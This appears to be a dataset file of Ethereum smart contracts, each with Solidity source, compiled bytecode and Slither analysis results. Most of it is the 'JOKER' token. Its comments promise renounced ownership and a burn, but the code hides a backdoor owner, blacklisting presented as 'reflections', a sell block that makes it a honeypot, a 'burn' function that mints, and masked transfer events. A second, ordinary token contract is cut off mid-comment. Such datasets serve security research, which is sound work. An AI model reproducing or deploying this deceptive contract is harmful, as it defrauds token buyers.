address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xf823b2fde97bb74e9ece9feb91cae733be588474
/* ____. __ | | ____ | | __ ___________ | |/ _ \| |/ // __ \_ __ \ /\__| ( <_> ) <\ ___/| | \/ \________|\____/|__|_ \\___ >__| \/ \/ JOKER is a new ERC20/Eth Token that is used for the Dark Knight play to earn game. 5% Tax for marketing & buyback + burn Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 50% Supply Burned on Launch 100% Fair Launch - no presale, no whitelist Join the telegram or visit our site for more info */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract JOKER is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "JOKER"; string public _symbol= "JOKER"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xb01A6C7AEb0B56518F173F9641c72E757BFab7F8); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea264697066735822122063558f646fd5e7a50ec24a4a507e0f04f91e9e5011e83e2f18589a00bd3e6bd464736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
400
0x80677919233e01f9e632d59732cca9d85ca2530f
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param 